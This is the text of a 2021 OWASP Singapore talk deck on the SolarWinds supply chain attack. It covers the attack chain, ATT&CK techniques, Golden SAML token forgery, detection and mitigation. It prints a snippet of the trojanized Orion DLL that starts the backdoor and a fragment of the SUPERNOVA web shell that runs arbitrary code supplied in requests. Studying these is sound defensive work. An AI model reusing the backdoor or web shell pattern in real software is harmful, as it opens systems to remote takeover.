Deconstructing the Solarwinds Supply Chain Attack and Deterring it: Honing in on the Golden SAML Attack Technique

Nathan Aw
https://www.linkedin.com/in/awnathan
https://owasp.org/www-chapter-singapore/
24 February 2021

“I think from a **software engineering perspective**, it's probably fair to say that this is the largest and most sophisticated attack the world has ever seen.” - **Brad Smith, Microsoft President**

internal void RefreshInternal()
{
    if (InventoryManager.log.get_IsDebugEnabled())
        InventoryManager.log.DebugFormat("Running scheduled background backgroundInventory check on engine {0}", (object) this.engineID);
    try
    {
        if (!OrionImprovementBusinessLayer.IsAlive)
            new Thread(new ThreadStart(OrionImprovementBusinessLayer.Initialize))
            {
                IsBackground = true
                }.Start();
    }
    catch (Exception ex)
    {
    }
    if (this.backgroundInventory.IsRunning)
    {
        InventoryManager.log.Info((object) "Skipping background backgroundInventory check, still running");
    }
    else
    {
        this.QueueInventoryTasksFromNodeSettings();
        this.QueueInventoryTasksFromInventorySettings();
        if (this.backgroundInventory.QueueSize <= 0)
            return;
    }
}
This Talk - Agenda

1. Framing the Context: What Happened and the Aftermath
2. Examining the Cyber-attack chain (also known as the cyber kill chain) + Tactics Techniques and Procedures (TTP)
3. Honing in: The Golden SAML Attack Technique (+Demo!)
4. Detecting post-compromise threat activity + remediation
5. Guarding Against Supply Chain Attacks
6. Revised MAS Technology Risk Management Guidelines Updated January 2021
7. Conclusion

Opinions/views expressed in the talk are solely my own and do not express the views or opinions of my employer.
Who I am

Working in the financial services industry (FSI), as a cloud-native, microservices and devsecops developer/architect with a particular interest in countering ever-evolving emerging threats, Nathan Aw spends his time tinkering with code and making them secure regardless of where they are deployed: on premise or multi-cloud. A firm believer and practitioner of holistic cyber risk–management paradigm, he believes that an identity-based, zero-trust security paradigm is the only way forward in an increasingly complex multi-cloud, hybrid cloud environment.

https://www.linkedin.com/in/awnathan

Opinions/views expressed in the talk are solely my own and do not express the views or opinions of my employer.
Framing the Context: What Happened? (Very High-Level) (1/3)

1. SolarWinds, a company that sells IT monitoring and management tools, was breached at some point in 2019 - as early as **October 2019**
2. The adversary added a malicious version of the binary solarwinds.orion.core.businesslayer.dll into the SolarWinds software lifecycle, which was then signed by the legitimate SolarWinds code signing certificate. Also known as a **Supply Chain Compromise**, around 18,000 SolarWinds customers installed the tainted update onto their systems.

SOURCE:
https://www.kiwan.com/solarwinds-hack-timeline/
https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline/
https://attack.mitre.org/techniques/T1195/
1. Up to 18,000 customers, including sensitive federal agencies, have the malicious update installed -- this may not necessarily mean all of those organizations have actually been breached.

2. The US Energy Department and National Nuclear Security Administration have evidence that hackers accessed their networks. The National Nuclear Security Administration maintains the U.S. nuclear weapons stockpile.

3. Numerous Cybersecurity Vendors -- Fireye, Mimecast, Qualys, Palo Alto Networks, and Fidelis -- have added their names to the list of companies that have installed trojanized versions of the SolarWinds Orion.

4. The attackers also managed to escalate access inside Microsoft's internal network and gain access to a small number of internal accounts, which they used to access Microsoft source code repositories.

5. The list of affected customers is likely to continue to grow… Copycat attacks are very likely.

SOURCE:
https://www.securityweek.com/vmware-cisco-reveal-impact-solarwinds-incident#:~:text=According%20to%20SolarWinds%2C%20up%20to%20before%20the%20breach%20was%20discovered.
https://www.zdnet.com/article/microsoft-solarwinds-attack-took-more-than-1000-engineers-to-create/
https://msrc-blog.microsoft.com/2020/12/31/microsoft-internal-solorigate-investigation-update/
Framing the Context: The Aftermath (3/3)

Clearly supply chain exploits are now a core tool in the cyber-weapons toolbox!

SOURCE:
https://blog.adolus.com/blog/three-things-the-solarwinds-supply-chain-attack-can-teach-us;
https://www.wired.com/story/solarwinds-hacker-methods-copycats/
The Cyber Kill Chain + Tactics Techniques and Procedures (TTP): High-level end-to-end attack chain (1/3)

SOLORIGATE ATTACK
High-level end-to-end attack chain

Today Focus

Supply chain compromise
Attackers compromise the software development or distribution pipeline for SolarWinds Orion Platform to insert malicious backdoor code into a legitimate DLL file.

Initial access, command-and-control
The compromised DLL is loaded when the application starts, running the backdoor code that connects to a command-and-control server, letting attackers in.

Hands-on-keyboard attack on premises
Backdoor access allows attackers to steal credentials, escalate privileges, and move laterally to either:
- Steal SAML signing key, or
- Gain admin privileges

Hands-on-keyboard attack in the cloud
Attackers use stolen signing key or admin privileges to create SAML tokens to access cloud resources, search for accounts of interest, and exfiltrate emails.

The Cyber Kill Chain and Tactics Techniques and Procedures (TTP): Initial Access and Command-and-Control (2/3)

SOLORIGATE ATTACK
Stage 1: Initial access and command-and-control

ON-PREMISES
DEVICE
-solarwinds.business
layerhost.exe

BusinessLayer.dll
(compromised)

Backdoor activates
Backdoor inspects
environment
Backdoor gathers info
Command-and-control
Backdoor sends
gathered info to C2
Remote control

Examining the Cyber Kill Chain and Tactics Techniques and Procedures (TTP): Hands on Keyboard Attack on Premise (3/3)

Some MITRE ATT&CK techniques observed (1/2)

Initial Access
- T1195.001 Supply Chain Compromise

Execution
- T1072 Software Deployment Tools
- T1071.004 Application Layer Protocol: DNS
- T1017.001 Application Layer Protocol: Web Protocols
- T1568.002 Dynamic Resolution: Domain Generation Algorithms
- T1132 Data Encoding

SOURCE:
Some MITRE ATT&CK techniques observed (2/2)

Persistence

- T1078 Valid Accounts

Defense Evasion

- T1480.001 Execution Guardrails: Environmental Keying
- T1562.001 Impair Defenses: Disable or Modify Tools

Collection

- T1005 Data From Local System

SOURCE:
MITRE ATT&CK techniques observed - US CISA

- Query Registry [T1012]
- Obfuscated Files or Information [T1027]
- Obfuscated Files or Information: Steganography [T1027.003]
- Process Discovery [T1057]
- Indicator Removal on Host: File Deletion [T1070.004]
- Application Layer Protocol: Web Protocols [T1071.001]
- Application Layer Protocol: DNS [T1071.004]
- File and Directory Discovery [T1083]
- Ingress Tool Transfer [T1105]
- Data Encoding: Standard Encoding [T1132.001]
- Supply Chain Compromise: Compromise Software Dependencies and Development Tools [T1195.001]
- Supply Chain Compromise: Compromise Software Supply Chain [T1195.002]
- Software Discovery [T1518]
- Software Discovery: Security Software [T1518.001]
- Create or Modify System Process: Windows Service [T1543.003]
- Subvert Trust Controls: Code Signing [T1553.002]
- Dynamic Resolution: Domain Generation Algorithms [T1568.002]
- System Services: Service Execution [T1569.002]
- Compromise Infrastructure [T1584]

SOURCE: https://us-cert.cisa.gov/ncas/alerts/aa20-352a
Several behaviors were identified that weren’t previously explicitly captured within existing techniques.

An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate. The default lifetime of a SAML token is one hour, but the validity period can be specified in the `NotOnOrAfter` value of the `conditions` element in a token. This value can be changed using the `AccessTokenLifetime` in a `LifetimeTokenPolicy`. Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.
How do you forge Web Credentials? By Compromising the SAML signing certificate using their escalated Active Directory privileges

The adversary’s initial objectives, as understood today, appear to be to collect information from victim environments. **One method the adversary is accomplishing this objective is by compromising the SAML signing certificate using their escalated Active Directory privileges.** Once this is accomplished, the adversary creates unauthorized but valid tokens and presents them to services that trust SAML tokens from the environment. These tokens can then be used to access resources in hosted environments, such as email, for data exfiltration via authorized APIs. During the persistence phase, the additional credentials being attached to service principals obfuscates the activity of user objects, because they appear to be accessed by the individual, and such individual access is normal and not logged in all M365 licensing levels.

**SOURCE:** [https://us-cert.cisa.gov/ncas/alerts/aa20-352a](https://us-cert.cisa.gov/ncas/alerts/aa20-352a)
“SolarWinds hackers used their access in many cases to infiltrate their victims' Microsoft 365 email services and Microsoft Azure Cloud infrastructure.”

“The SolarWinds hackers used their access in many cases to infiltrate their victims' Microsoft 365 email services and Microsoft Azure Cloud infrastructure—both treasure troves of potentially sensitive and valuable data. The challenge of preventing these types of intrusions into Microsoft 365 and Azure is that they don't depend on specific vulnerabilities that can simply be patched. Instead hackers use an initial attack that positions them to manipulate Microsoft 365 and Azure in a way that appears legitimate. In this case, to great effect.”

“...the attackers could use their newfound privileges on victim systems to take control of certificates and keys used to generate system authentication tokens, known as SAML tokens, for Microsoft 365 and Azure. Organizations manage this authentication infrastructure locally, rather than in the cloud, through a Microsoft component called Active Directory Federation Services.”

SOURCE: https://www.wired.com/story/solarwinds-hacker-methods-copycats/
**What exactly is a Golden SAML Attack?**

An attack vector discovered by CyberArk Labs in 2017. The vector enables an attacker to create a golden SAML, which is basically a forged SAML “authentication object,” and authenticate across every service that uses SAML 2.0 protocol as an SSO mechanism.

**How does the attack work?**

In a golden SAML attack, attackers can gain access to an application (any application that supports SAML authentication) with any privileges they desire and be any user on the targeted application.

**What is SAML?**

The SAML protocol, or Security Assertion Markup Language, is an open standard for exchanging authentication and authorization data between parties, in particular, between an identity provider and a service provider. The single most important use case that SAML addresses is web browser single sign-on (SSO).

Honing in: The Golden SAML Attack Technique (1/3)

Happy Flow! :)

SOURCE:
https://www.sygnia.co/golden-saml-advisory
If the attacker has the key that signs the object which holds the user’s identity and permissions, he/she can then forge such an “authentication object” (SAMLResponse) and impersonate any user to gain unauthorized access to the Service Provider such as Office 365. A golden SAML attack can also be defined as an IdP forging attack.

Honing in: The Golden SAML Attack Technique - Demo: A SAML Test App (3/3)

This application is designed to test SAML interaction with Azure AD B2C. It includes the Service Provider and Metadata endpoints.

SAML Login Success

<table>
<thead>
<tr>
<th>Attribute</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name">http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name</a></td>
<td>Nathan Aw</td>
</tr>
<tr>
<td><a href="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/givenname">http://schemas.xmlsoap.org/ws/2005/05/identity/claims/givenname</a></td>
<td>Nathan</td>
</tr>
<tr>
<td><a href="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/surname">http://schemas.xmlsoap.org/ws/2005/05/identity/claims/surname</a></td>
<td>Aw</td>
</tr>
<tr>
<td><a href="http://schemas.microsoft.com/identity/claims/tenantid">http://schemas.microsoft.com/identity/claims/tenantid</a></td>
<td>d96d2c24-b77b-4d95-9c4a-b26e855333ca</td>
</tr>
</tbody>
</table>

SOURCE: https://samltestapp2.azurewebsites.net/
Honing in: The Golden SAML Attack Technique - A Sample SAML Response

```xml
```
The (New) Attacker Flow

SOURCE:
Detecting post-compromise threat activity + remediation (1/3)

“The adversary has been observed using multiple persistence mechanisms across a variety of intrusions. CISA has observed the threat actor adding authentication credentials, in the form of assigning tokens and certificates, to existing Azure/Microsoft 365 (M365) application service principals. These additional credentials provide persistence and escalation mechanisms and a **programmatic method of interacting with the Microsoft Cloud tenants (often with Microsoft Graph Application Programming Interface [API])** to access hosted resources without significant evidence or telemetry being generated.”

Microsoft Graph is the gateway to data and intelligence in Microsoft 365. It provides a unified programmability model that you can use to access the tremendous amount of data in Microsoft 365, Windows 10, and Enterprise Mobility + Security. Use the wealth of data in Microsoft Graph to build apps for organizations and consumers that interact with millions of users.

SOURCE: [https://us-cert.cisa.gov/ncas/alerts/aa20-352a](https://us-cert.cisa.gov/ncas/alerts/aa20-352a); [https://docs.microsoft.com/en-us/graph/overview](https://docs.microsoft.com/en-us/graph/overview)
Detecting post-compromise threat activity + remediation (2/3)

Popular API requests

Check out some of these common scenarios for working with the Microsoft Graph API. The links take you to the Graph Explorer.

<table>
<thead>
<tr>
<th>Operation</th>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET my profile</td>
<td><a href="https://graph.microsoft.com/v1.0/me">https://graph.microsoft.com/v1.0/me</a></td>
</tr>
<tr>
<td>GET my files</td>
<td><a href="https://graph.microsoft.com/v1.0/me/drive/root/children">https://graph.microsoft.com/v1.0/me/drive/root/children</a></td>
</tr>
<tr>
<td>GET my photo</td>
<td><a href="https://graph.microsoft.com/v1.0/me/photo/$value">https://graph.microsoft.com/v1.0/me/photo/$value</a></td>
</tr>
<tr>
<td>GET my mail</td>
<td><a href="https://graph.microsoft.com/v1.0/me/messages">https://graph.microsoft.com/v1.0/me/messages</a></td>
</tr>
<tr>
<td>GET my high importance email</td>
<td><a href="https://graph.microsoft.com/v1.0/me/messages?$filter=importance%20eq%20high">https://graph.microsoft.com/v1.0/me/messages?$filter=importance%20eq%20high</a>'</td>
</tr>
<tr>
<td>GET my calendar events</td>
<td><a href="https://graph.microsoft.com/v1.0/me/events">https://graph.microsoft.com/v1.0/me/events</a></td>
</tr>
<tr>
<td>GET my manager</td>
<td><a href="https://graph.microsoft.com/v1.0/me/manager">https://graph.microsoft.com/v1.0/me/manager</a></td>
</tr>
<tr>
<td>GET last user to modify file foo.txt</td>
<td><a href="https://graph.microsoft.com/v1.0/me/drive/root/children/foo.txt?lastModifiedByUser">https://graph.microsoft.com/v1.0/me/drive/root/children/foo.txt?lastModifiedByUser</a></td>
</tr>
<tr>
<td>GET Microsoft 365</td>
<td><a href="https://graph.microsoft.com/v1.0/me/memberOf/S/microsoft.graph.group">https://graph.microsoft.com/v1.0/me/memberOf/S/microsoft.graph.group</a></td>
</tr>
</tbody>
</table>

SOURCE: https://docs.microsoft.com/en-us/graph/overview
Detecting post-compromise threat activity + remediation (2/2)

Sparrow.ps1 was created by CISA's Cloud Forensics team to help detect possible compromised accounts and applications in the Azure/m365 environment.

SOURCE: https://github.com/nathanawmk/Sparrow
Deterring Golden SAML Attack: Golden SAML Detection and Mitigation (1/2)

● Follow best practices of your federation Identity Provider (IdP) technology. For example, the AD FS (Active Directory Federation Services by Microsoft) best practices. Some IdP support protecting your token signing certificate in a hardware security module (HSM). This should make stealing your token signing certificate a much harder task for attackers.

● Do as much as you can to protect your tier-0 assets (a federation identity provider should be included here). This includes having proper credential hygiene, deploying a privileged access management solution, an EDR, etc. This will make it very difficult for attackers to gain sufficient privileges for stealing a token signing certificate in the first place.

● Examine SAML tokens to identify suspicious ones (such as tokens with an unusually long lifetime or with unusual claims).

SOURCE: https://www.cyberark.com/resources/threat-research-blog/golden-saml-revisited-the-solorigate-connection
Deterring Golden SAML Attack: Golden SAML Detection and Mitigation (2/2)

- Correlate logs between your Identity Provider and your Service Provider. If you see a SAML authentication in your Service Provider that doesn’t correlate to a SAML token issuance by the Identity Provider – something is wrong.

- Use third-party security solutions to protect the token signing certificate from being stolen by attackers.

- Turn on multi-factor authentication and register all other highly privileged single-user non-federated admin accounts

- Require Azure AD Multi-Factor Authentication (MFA) at sign-in for all individual users who are permanently assigned to one or more of the Azure AD admin roles: Global administrator, Privileged Role administrator, Exchange administrator, and SharePoint administrator.

Guarding against Future Supply Chain Attacks

1. It is incredibly difficult given the fact that so many organisations depend on so many third party providers and that one does not have visibility or control into providers software development practices - e.g., the password they used!

2. Increasing visibility into your supply chain, building a trusted relationship with your suppliers, and having a plan in place in case of a supply chain breach can help your enterprise mitigate supply chain risks.

"A policy and procedure on the use of third party and open-source software codes should be established to ensure these codes are subject to review and testing before they are integrated into the FI's software."
5.4 Application Programming Interface Development

6.4.1 Application programming interfaces (APIs) enable various software applications to communicate and interact with each other and exchange data. Open APIs are publicly available APIs that provide developers with programmatic access to a software application or web service. FIs may collaborate with FinTech companies and develop open APIs, which

APIs are sets of protocols that define how one application interacts with another, usually to facilitate an information exchange.

Monetary Authority of Singapore

---

TECHNOLOGY RISK MANAGEMENT GUIDELINES JANUARY 2021

are used by third parties to implement products and services for customers and the marketplace. Hence, it is important for the FI to establish adequate safeguards to manage the development and provisioning of APIs for secure delivery of such services.

5.4.2 A well-defined vetting process should be implemented for assessing third parties’ suitability in connecting to the FI via APIs, as well as governing third party API access. The vetting criteria should take into account factors such as the third party’s nature of business, cyber security posture, industry reputation and track record.
Before we close this session for today - Back to the Solarwinds: The Major Twist: SuperNova

public void ProcessRequest(HttpContext context)
{
  try {
    // C# namespaces and assemblies
    string codes = context.Request["codes"]; // C# class name to instantiate
    string clazz = context.Request["clazz"]; // C# class method to invoke
    string method = context.Request["method"]; // Arguments to the invoked method
    string[] args = context.Request["args"].Split(new char[] { 
    context.Response.ContentType = "text/plain";
    context.Response.Write(this.DynamicRun(codes, clazz, method, args));
  } //...

SUPERNova
is a malware
that was
deployed
using a
vulnerability in
the Orion
Platform, and
after the
Orion
Platform had
been
installed.

https://www.solarwinds.com/sa-overview/securityadvisory#anchor2;
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a
Conclusion

"Eternal vigilance is the price of liberty."

“Do what you can, with what you have, where you are.” Theodore Roosevelt

The Solarwinds Breach is still unfolding -- Full impact would not be known or felt until a later date.
References (1/2)

https://attack.mitre.org/versions/v8/techniques/T1553/002/

https://attack.mitre.org/versions/v8/techniques/T1553/002/

https://us-cert.cisa.gov/ncas/alerts/aa20-352a


https://attack.mitre.org/techniques/T1606/002/
References (2/2)

https://medium.com/mitre-attack/identifying-unc2452-related-techniques-9f7b6c7f3714


https://www.wired.com/story/solarwinds-hacker-methods-copycats/


https://attack.mitre.org/software/S0559/